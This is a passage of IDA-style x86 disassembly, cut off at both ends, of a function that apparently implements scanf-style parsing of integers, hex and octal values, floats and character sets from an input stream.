0FFh cmp ecx, edx jg short loc_42A4AE mov eax, [ebp+var_1EC] and eax, 0FFh sar eax, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov edx, 1 shl edx, cl mov al, [ebp+eax+var_60] or al, dl mov ecx, [ebp+var_1EC] and ecx, 0FFh sar ecx, 3 mov [ebp+ecx+var_60], al jmp short loc_42A448 ; --------------------------------------------------------------------------- loc_42A4AE: ; CODE XREF: sub_429E90+5DDj mov byte ptr [ebp+var_8], 0 loc_42A4B2: ; CODE XREF: sub_429E90+559j jmp loc_42A34C ; --------------------------------------------------------------------------- loc_42A4B7: ; CODE XREF: sub_429E90+4C9j mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] test eax, eax jnz short loc_42A4CA jmp loc_42B17A ; --------------------------------------------------------------------------- loc_42A4CA: ; CODE XREF: sub_429E90+633j cmp [ebp+var_C], 7Bh jnz short loc_42A4D9 mov ecx, [ebp+var_1E0] mov [ebp+arg_4], ecx loc_42A4D9: ; CODE XREF: sub_429E90+63Ej mov edx, [ebp+var_3C] mov [ebp+var_1E4], edx mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_42B330 add esp, 8 loc_42A4FE: ; CODE XREF: sub_429E90:loc_42A640j cmp [ebp+var_1E8], 0 jz short loc_42A51B mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_42A645 loc_42A51B: ; CODE XREF: sub_429E90+675j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0FFFFFFFFh jz loc_42A622 mov ecx, [ebp+var_1D8] sar ecx, 3 movsx edx, [ebp+ecx+var_60] movsx eax, [ebp+var_10] xor edx, eax mov ecx, [ebp+var_1D8] and ecx, 7 mov eax, 1 shl eax, cl and edx, eax test edx, edx jz loc_42A622 movsx ecx, [ebp+var_70] test ecx, ecx jnz loc_42A611 movsx edx, [ebp+var_64] test edx, edx jz short loc_42A5FB mov al, byte ptr [ebp+var_1D8] mov [ebp+var_1F0], al mov ecx, [ebp+var_1D8] and ecx, 0FFh mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_42A5CD mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_42B2D0 add esp, 4 mov [ebp+var_1EF], al loc_42A5CD: ; CODE XREF: sub_429E90+720j mov eax, ds:dword_453DF0 push eax lea ecx, [ebp+var_1F0] push ecx lea edx, [ebp+var_4] push edx call sub_431BA0 add esp, 0Ch mov eax, [ebp+var_3C] mov cx, [ebp+var_4] mov [eax], cx mov edx, [ebp+var_3C] add edx, 2 mov [ebp+var_3C], edx jmp short loc_42A60F ; --------------------------------------------------------------------------- loc_42A5FB: ; CODE XREF: sub_429E90+6F3j mov eax, [ebp+var_3C] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_42A60F: ; CODE XREF: sub_429E90+769j jmp short loc_42A620 ; --------------------------------------------------------------------------- loc_42A611: ; CODE XREF: sub_429E90+6E7j mov eax, [ebp+var_1E4] add eax, 1 mov [ebp+var_1E4], eax loc_42A620: ; CODE XREF: sub_429E90:loc_42A60Fj jmp short loc_42A640 ; --------------------------------------------------------------------------- loc_42A622: ; CODE XREF: sub_429E90+6ADj ; sub_429E90+6DBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_42B330 add esp, 8 jmp short loc_42A645 ; --------------------------------------------------------------------------- loc_42A640: ; CODE XREF: sub_429E90:loc_42A620j jmp loc_42A4FE ; --------------------------------------------------------------------------- loc_42A645: ; CODE XREF: sub_429E90+685j ; sub_429E90+7AEj mov ecx, [ebp+var_1E4] cmp ecx, [ebp+var_3C] jz short loc_42A681 movsx edx, [ebp+var_70] test edx, edx jnz short loc_42A67F mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax cmp [ebp+var_C], 63h jz short loc_42A67F movsx ecx, [ebp+var_64] test ecx, ecx jz short loc_42A679 mov edx, [ebp+var_3C] mov word ptr [edx], 0 jmp short loc_42A67F ; --------------------------------------------------------------------------- loc_42A679: ; CODE XREF: sub_429E90+7DDj mov eax, [ebp+var_3C] mov byte ptr [eax], 0 loc_42A67F: ; CODE XREF: sub_429E90+7C6j ; sub_429E90+7D5j ... jmp short loc_42A686 ; --------------------------------------------------------------------------- loc_42A681: ; CODE XREF: sub_429E90+7BEj jmp loc_42B17A ; --------------------------------------------------------------------------- loc_42A686: ; CODE XREF: sub_429E90:loc_42A67Fj jmp loc_42B024 ; --------------------------------------------------------------------------- loc_42A68B: ; CODE XREF: sub_429E90+3C4j ; DATA XREF: _0:0042B232o mov [ebp+var_C], 64h loc_42A692: ; CODE XREF: sub_429E90+3C4j ; DATA XREF: _0:0042B242o cmp [ebp+var_1D8], 2Dh jnz short loc_42A6A6 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_42A6AF ; --------------------------------------------------------------------------- loc_42A6A6: ; CODE XREF: sub_429E90+809j cmp [ebp+var_1D8], 2Bh jnz short loc_42A6EC loc_42A6AF: ; CODE XREF: sub_429E90+814j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_42A6D1 cmp [ebp+var_1E8], 0 jz short loc_42A6D1 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42A6EC ; --------------------------------------------------------------------------- loc_42A6D1: ; CODE XREF: sub_429E90+82Cj ; sub_429E90+835j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax loc_42A6EC: ; CODE XREF: sub_429E90+81Dj ; sub_429E90+83Fj cmp [ebp+var_1D8], 30h jnz loc_42A78E mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax movsx edx, byte ptr [ebp+var_1D8] cmp edx, 78h jz short loc_42A72C movsx eax, byte ptr [ebp+var_1D8] cmp eax, 58h jnz short loc_42A750 loc_42A72C: ; CODE XREF: sub_429E90+88Ej mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax mov [ebp+var_C], 78h jmp short loc_42A78E ; --------------------------------------------------------------------------- loc_42A750: ; CODE XREF: sub_429E90+89Aj mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax cmp [ebp+var_C], 78h jz short loc_42A768 mov [ebp+var_C], 6Fh jmp short loc_42A78E ; --------------------------------------------------------------------------- loc_42A768: ; CODE XREF: sub_429E90+8CDj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_42B330 add esp, 8 mov [ebp+var_1D8], 30h loc_42A78E: ; CODE XREF: sub_429E90+863j ; sub_429E90+8BEj ... jmp short loc_42A7EE ; --------------------------------------------------------------------------- loc_42A790: ; CODE XREF: sub_429E90+3C4j ; DATA XREF: _0:0042B23Ao mov [ebp+var_38], 1 loc_42A794: ; CODE XREF: sub_429E90+3C4j ; DATA XREF: _0:0042B22Ao cmp [ebp+var_1D8], 2Dh jnz short loc_42A7A8 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_42A7B1 ; --------------------------------------------------------------------------- loc_42A7A8: ; CODE XREF: sub_429E90+90Bj cmp [ebp+var_1D8], 2Bh jnz short loc_42A7EE loc_42A7B1: ; CODE XREF: sub_429E90+916j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_42A7D3 cmp [ebp+var_1E8], 0 jz short loc_42A7D3 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42A7EE ; --------------------------------------------------------------------------- loc_42A7D3: ; CODE XREF: sub_429E90+92Ej ; sub_429E90+937j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax loc_42A7EE: ; CODE XREF: sub_429E90:loc_42A78Ej ; sub_429E90+91Fj ... cmp [ebp+var_1DC], 0 jz loc_42A9E9 loc_42A7FB: ; CODE XREF: sub_429E90:loc_42A9C4j movsx eax, [ebp+var_18] test eax, eax jnz loc_42A9C9 cmp [ebp+var_C], 78h jnz loc_42A896 cmp ds:dword_453DF0, 1 jle short loc_42A836 push 80h mov ecx, [ebp+var_1D8] push ecx call sub_427040 add esp, 8 mov [ebp+var_208], eax jmp short loc_42A853 ; --------------------------------------------------------------------------- loc_42A836: ; CODE XREF: sub_429E90+988j mov edx, [ebp+var_1D8] mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 80h mov [ebp+var_208], ecx loc_42A853: ; CODE XREF: sub_429E90+9A4j cmp [ebp+var_208], 0 jz short loc_42A889 mov ecx, 4 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_431D80 mov [ebp+var_30], eax mov [ebp+var_2C], edx mov edx, [ebp+var_1D8] push edx call sub_42B270 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_42A891 ; --------------------------------------------------------------------------- loc_42A889: ; CODE XREF: sub_429E90+9CAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42A891: ; CODE XREF: sub_429E90+9F7j jmp loc_42A93D ; --------------------------------------------------------------------------- loc_42A896: ; CODE XREF: sub_429E90+97Bj cmp ds:dword_453DF0, 1 jle short loc_42A8B8 push 4 mov ecx, [ebp+var_1D8] push ecx call sub_427040 add esp, 8 mov [ebp+var_20C], eax jmp short loc_42A8D2 ; --------------------------------------------------------------------------- loc_42A8B8: ; CODE XREF: sub_429E90+A0Dj mov edx, [ebp+var_1D8] mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_20C], ecx loc_42A8D2: ; CODE XREF: sub_429E90+A26j cmp [ebp+var_20C], 0 jz short loc_42A935 cmp [ebp+var_C], 6Fh jnz short loc_42A90D cmp [ebp+var_1D8], 38h jge short loc_42A902 mov ecx, 3 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_431D80 mov [ebp+var_30], eax mov [ebp+var_2C], edx jmp short loc_42A90B ; --------------------------------------------------------------------------- loc_42A902: ; CODE XREF: sub_429E90+A58j mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl loc_42A90B: ; CODE XREF: sub_429E90+A70j jmp short loc_42A933 ; --------------------------------------------------------------------------- loc_42A90D: ; CODE XREF: sub_429E90+A4Fj mov ecx, 2 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_431D80 add eax, [ebp+var_30] adc edx, [ebp+var_2C] mov ecx, 1 call sub_431D80 mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_42A933: ; CODE XREF: sub_429E90:loc_42A90Bj jmp short loc_42A93D ; --------------------------------------------------------------------------- loc_42A935: ; CODE XREF: sub_429E90+A49j mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42A93D: ; CODE XREF: sub_429E90:loc_42A891j ; sub_429E90:loc_42A933j movsx ecx, [ebp+var_18] test ecx, ecx jnz short loc_42A9A8 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1D8] sub eax, 30h cdq mov ecx, [ebp+var_30] add ecx, eax mov eax, [ebp+var_2C] adc eax, edx mov [ebp+var_30], ecx mov [ebp+var_2C], eax cmp [ebp+var_1E8], 0 jz short loc_42A98B mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42A98B mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_42A9A6 ; --------------------------------------------------------------------------- loc_42A98B: ; CODE XREF: sub_429E90+ADFj ; sub_429E90+AEEj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax loc_42A9A6: ; CODE XREF: sub_429E90+AF9j jmp short loc_42A9C4 ; --------------------------------------------------------------------------- loc_42A9A8: ; CODE XREF: sub_429E90+AB3j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_42B330 add esp, 8 loc_42A9C4: ; CODE XREF: sub_429E90:loc_42A9A6j jmp loc_42A7FB ; --------------------------------------------------------------------------- loc_42A9C9: ; CODE XREF: sub_429E90+971j movsx edx, [ebp+var_68] test edx, edx jz short loc_42A9E4 mov eax, [ebp+var_30] neg eax mov ecx, [ebp+var_2C] adc ecx, 0 neg ecx mov [ebp+var_30], eax mov [ebp+var_2C], ecx loc_42A9E4: ; CODE XREF: sub_429E90+B3Fj jmp loc_42AB8D ; --------------------------------------------------------------------------- loc_42A9E9: ; CODE XREF: sub_429E90+965j ; sub_429E90:loc_42AB78j movsx edx, [ebp+var_18] test edx, edx jnz loc_42AB7D cmp [ebp+var_C], 78h jz short loc_42AA01 cmp [ebp+var_C], 70h jnz short loc_42AA79 loc_42AA01: ; CODE XREF: sub_429E90+B69j cmp ds:dword_453DF0, 1 jle short loc_42AA26 push 80h mov eax, [ebp+var_1D8] push eax call sub_427040 add esp, 8 mov [ebp+var_210], eax jmp short loc_42AA43 ; --------------------------------------------------------------------------- loc_42AA26: ; CODE XREF: sub_429E90+B78j mov ecx, [ebp+var_1D8] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp+var_210], eax loc_42AA43: ; CODE XREF: sub_429E90+B94j cmp [ebp+var_210], 0 jz short loc_42AA6C mov ecx, [ebp+var_40] shl ecx, 4 mov [ebp+var_40], ecx mov edx, [ebp+var_1D8] push edx call sub_42B270 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_42AA74 ; --------------------------------------------------------------------------- loc_42AA6C: ; CODE XREF: sub_429E90+BBAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42AA74: ; CODE XREF: sub_429E90+BDAj jmp loc_42AAFB ; --------------------------------------------------------------------------- loc_42AA79: ; CODE XREF: sub_429E90+B6Fj cmp ds:dword_453DF0, 1 jle short loc_42AA9B push 4 mov ecx, [ebp+var_1D8] push ecx call sub_427040 add esp, 8 mov [ebp+var_214], eax jmp short loc_42AAB5 ; --------------------------------------------------------------------------- loc_42AA9B: ; CODE XREF: sub_429E90+BF0j mov edx, [ebp+var_1D8] mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_214], ecx loc_42AAB5: ; CODE XREF: sub_429E90+C09j cmp [ebp+var_214], 0 jz short loc_42AAF2 cmp [ebp+var_C], 6Fh jnz short loc_42AAE2 cmp [ebp+var_1D8], 38h jge short loc_42AAD8 mov edx, [ebp+var_40] shl edx, 3 mov [ebp+var_40], edx jmp short loc_42AAE0 ; --------------------------------------------------------------------------- loc_42AAD8: ; CODE XREF: sub_429E90+C3Bj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42AAE0: ; CODE XREF: sub_429E90+C46j jmp short loc_42AAF0 ; --------------------------------------------------------------------------- loc_42AAE2: ; CODE XREF: sub_429E90+C32j mov ecx, [ebp+var_40] mov edx, [ebp+var_40] lea eax, [edx+ecx*4] shl eax, 1 mov [ebp+var_40], eax loc_42AAF0: ; CODE XREF: sub_429E90:loc_42AAE0j jmp short loc_42AAFB ; --------------------------------------------------------------------------- loc_42AAF2: ; CODE XREF: sub_429E90+C2Cj mov cl, [ebp+var_18] add cl, 1 mov [ebp+var_18], cl loc_42AAFB: ; CODE XREF: sub_429E90:loc_42AA74j ; sub_429E90:loc_42AAF0j movsx edx, [ebp+var_18] test edx, edx jnz short loc_42AB5C mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+var_40] lea eax, [edx+ecx-30h] mov [ebp+var_40], eax cmp [ebp+var_1E8], 0 jz short loc_42AB3F mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42AB3F mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_42AB5A ; --------------------------------------------------------------------------- loc_42AB3F: ; CODE XREF: sub_429E90+C93j ; sub_429E90+CA2j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax loc_42AB5A: ; CODE XREF: sub_429E90+CADj jmp short loc_42AB78 ; --------------------------------------------------------------------------- loc_42AB5C: ; CODE XREF: sub_429E90+C71j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_42B330 add esp, 8 loc_42AB78: ; CODE XREF: sub_429E90:loc_42AB5Aj jmp loc_42A9E9 ; --------------------------------------------------------------------------- loc_42AB7D: ; CODE XREF: sub_429E90+B5Fj movsx edx, [ebp+var_68] test edx, edx jz short loc_42AB8D mov eax, [ebp+var_40] neg eax mov [ebp+var_40], eax loc_42AB8D: ; CODE XREF: sub_429E90:loc_42A9E4j ; sub_429E90+CF3j cmp [ebp+var_C], 46h jnz short loc_42AB9A mov [ebp+var_6C], 0 loc_42AB9A: ; CODE XREF: sub_429E90+D01j cmp [ebp+var_6C], 0 jz short loc_42ABE8 movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_42ABE6 mov edx, [ebp+var_34] add edx, 1 mov [ebp+var_34], edx loc_42ABB1: ; CODE XREF: sub_429E90+D70j cmp [ebp+var_1DC], 0 jz short loc_42ABCA mov eax, [ebp+var_3C] mov ecx, [ebp+var_30] mov [eax], ecx mov edx, [ebp+var_2C] mov [eax+4], edx jmp short loc_42ABE6 ; --------------------------------------------------------------------------- loc_42ABCA: ; CODE XREF: sub_429E90+D28j movsx eax, [ebp+var_38] test eax, eax jz short loc_42ABDC mov ecx, [ebp+var_3C] mov edx, [ebp+var_40] mov [ecx], edx jmp short loc_42ABE6 ; --------------------------------------------------------------------------- loc_42ABDC: ; CODE XREF: sub_429E90+D40j mov eax, [ebp+var_3C] mov cx, word ptr [ebp+var_40] mov [eax], cx loc_42ABE6: ; CODE XREF: sub_429E90+D16j ; sub_429E90+D38j ... jmp short loc_42ABED ; --------------------------------------------------------------------------- loc_42ABE8: ; CODE XREF: sub_429E90+D0Ej jmp loc_42B17A ; --------------------------------------------------------------------------- loc_42ABED: ; CODE XREF: sub_429E90:loc_42ABE6j jmp loc_42B024 ; --------------------------------------------------------------------------- loc_42ABF2: ; CODE XREF: sub_429E90+3C4j ; DATA XREF: _0:0042B236o mov edx, [ebp+var_20] mov [ebp+var_40], edx movsx eax, [ebp+var_70] test eax, eax jnz short loc_42AC02 jmp short loc_42ABB1 ; --------------------------------------------------------------------------- loc_42AC02: ; CODE XREF: sub_429E90+D6Ej jmp loc_42B024 ; --------------------------------------------------------------------------- loc_42AC07: ; CODE XREF: sub_429E90+3C4j ; DATA XREF: _0:0042B22Eo lea ecx, [ebp+var_1D0] mov [ebp+var_1E0], ecx cmp [ebp+var_1D8], 2Dh jnz short loc_42AC36 mov edx, [ebp+var_1E0] mov byte ptr [edx], 2Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax jmp short loc_42AC3F ; --------------------------------------------------------------------------- loc_42AC36: ; CODE XREF: sub_429E90+D8Aj cmp [ebp+var_1D8], 2Bh jnz short loc_42AC63 loc_42AC3F: ; CODE XREF: sub_429E90+DA4j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax loc_42AC63: ; CODE XREF: sub_429E90+DADj cmp [ebp+var_1E8], 0 jz short loc_42AC75 cmp [ebp+var_1C], 15Dh jle short loc_42AC7C loc_42AC75: ; CODE XREF: sub_429E90+DDAj mov [ebp+var_1C], 15Dh loc_42AC7C: ; CODE XREF: sub_429E90+DE3j ; sub_429E90+E82j cmp ds:dword_453DF0, 1 jle short loc_42AC9E push 4 mov ecx, [ebp+var_1D8] push ecx call sub_427040 add esp, 8 mov [ebp+var_218], eax jmp short loc_42ACB8 ; --------------------------------------------------------------------------- loc_42AC9E: ; CODE XREF: sub_429E90+DF3j mov edx, [ebp+var_1D8] mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_218], ecx loc_42ACB8: ; CODE XREF: sub_429E90+E0Cj cmp [ebp+var_218], 0 jz short loc_42AD17 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_42AD17 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax jmp loc_42AC7C ; --------------------------------------------------------------------------- loc_42AD17: ; CODE XREF: sub_429E90+E2Fj ; sub_429E90+E3Fj movsx ecx, ds:byte_453DF4 movsx edx, byte ptr [ebp+var_1D8] cmp ecx, edx jnz loc_42AE14 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_42AE14 mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1E0] mov dl, ds:byte_453DF4 mov [ecx], dl mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax loc_42AD79: ; CODE XREF: sub_429E90+F7Fj cmp ds:dword_453DF0, 1 jle short loc_42AD9B push 4 mov ecx, [ebp+var_1D8] push ecx call sub_427040 add esp, 8 mov [ebp+var_21C], eax jmp short loc_42ADB5 ; --------------------------------------------------------------------------- loc_42AD9B: ; CODE XREF: sub_429E90+EF0j mov edx, [ebp+var_1D8] mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_21C], ecx loc_42ADB5: ; CODE XREF: sub_429E90+F09j cmp [ebp+var_21C], 0 jz short loc_42AE14 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_42AE14 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax jmp loc_42AD79 ; --------------------------------------------------------------------------- loc_42AE14: ; CODE XREF: sub_429E90+E97j ; sub_429E90+EABj ... cmp [ebp+var_6C], 0 jz loc_42AF79 cmp [ebp+var_1D8], 65h jz short loc_42AE34 cmp [ebp+var_1D8], 45h jnz loc_42AF79 loc_42AE34: ; CODE XREF: sub_429E90+F95j mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx test ecx, ecx jz loc_42AF79 mov eax, [ebp+var_1E0] mov byte ptr [eax], 65h mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 2Dh jnz short loc_42AE9E mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx jmp short loc_42AEA7 ; --------------------------------------------------------------------------- loc_42AE9E: ; CODE XREF: sub_429E90+FF2j cmp [ebp+var_1D8], 2Bh jnz short loc_42AEDD loc_42AEA7: ; CODE XREF: sub_429E90+100Cj mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jnz short loc_42AEC2 mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx jmp short loc_42AEDD ; --------------------------------------------------------------------------- loc_42AEC2: ; CODE XREF: sub_429E90+1025j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax loc_42AEDD: ; CODE XREF: sub_429E90+1015j ; sub_429E90+1030j ... cmp ds:dword_453DF0, 1 jle short loc_42AEFF push 4 mov edx, [ebp+var_1D8] push edx call sub_427040 add esp, 8 mov [ebp+var_220], eax jmp short loc_42AF1A ; --------------------------------------------------------------------------- loc_42AEFF: ; CODE XREF: sub_429E90+1054j mov eax, [ebp+var_1D8] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_220], edx loc_42AF1A: ; CODE XREF: sub_429E90+106Dj cmp [ebp+var_220], 0 jz short loc_42AF79 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz short loc_42AF79 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1E0] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax jmp loc_42AEDD ; --------------------------------------------------------------------------- loc_42AF79: ; CODE XREF: sub_429E90+F88j ; sub_429E90+F9Ej ... mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_42B330 add esp, 8 cmp [ebp+var_6C], 0 jz short loc_42AFD3 movsx edx, [ebp+var_70] test edx, edx jnz short loc_42AFD1 mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 0 lea edx, [ebp+var_1D0] push edx mov eax, [ebp+var_3C] push eax movsx ecx, [ebp+var_38] sub ecx, 1 push ecx call ds:off_454198 add esp, 0Ch loc_42AFD1: ; CODE XREF: sub_429E90+1111j jmp short loc_42AFD8 ; --------------------------------------------------------------------------- loc_42AFD3: ; CODE XREF: sub_429E90+1109j jmp loc_42B17A ; --------------------------------------------------------------------------- loc_42AFD8: ; CODE XREF: sub_429E90:loc_42AFD1j jmp short loc_42B024 ; --------------------------------------------------------------------------- loc_42AFDA: ; CODE XREF: sub_429E90+3B0j ; sub_429E90+3C4j ; DATA XREF: ... mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] cmp eax, [ebp+var_1D8] jz short loc_42B00A mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_42B330 add esp, 8 jmp loc_42B17A ; --------------------------------------------------------------------------- loc_42B00A: ; CODE XREF: sub_429E90+1157j mov cl, [ebp+var_28] sub cl, 1 mov [ebp+var_28], cl movsx edx, [ebp+var_70] test edx, edx jnz short loc_42B024 mov eax, [ebp+var_1D4] mov [ebp+arg_8], eax loc_42B024: ; CODE XREF: sub_429E90:loc_42A686j ; sub_429E90:loc_42ABEDj ... mov cl, [ebp+var_28] add cl, 1 mov [ebp+var_28], cl jmp short loc_42B050 ; --------------------------------------------------------------------------- loc_42B02F: ; CODE XREF: sub_429E90+38Bj mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_42B330 add esp, 8 jmp loc_42B17A ; --------------------------------------------------------------------------- loc_42B050: ; CODE XREF: sub_429E90+119Dj mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx jmp loc_42B151 ; --------------------------------------------------------------------------- loc_42B05E: ; CODE XREF: sub_429E90+11Dj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_42B0B6 mov eax, [ebp+var_20] sub eax, 1 mov 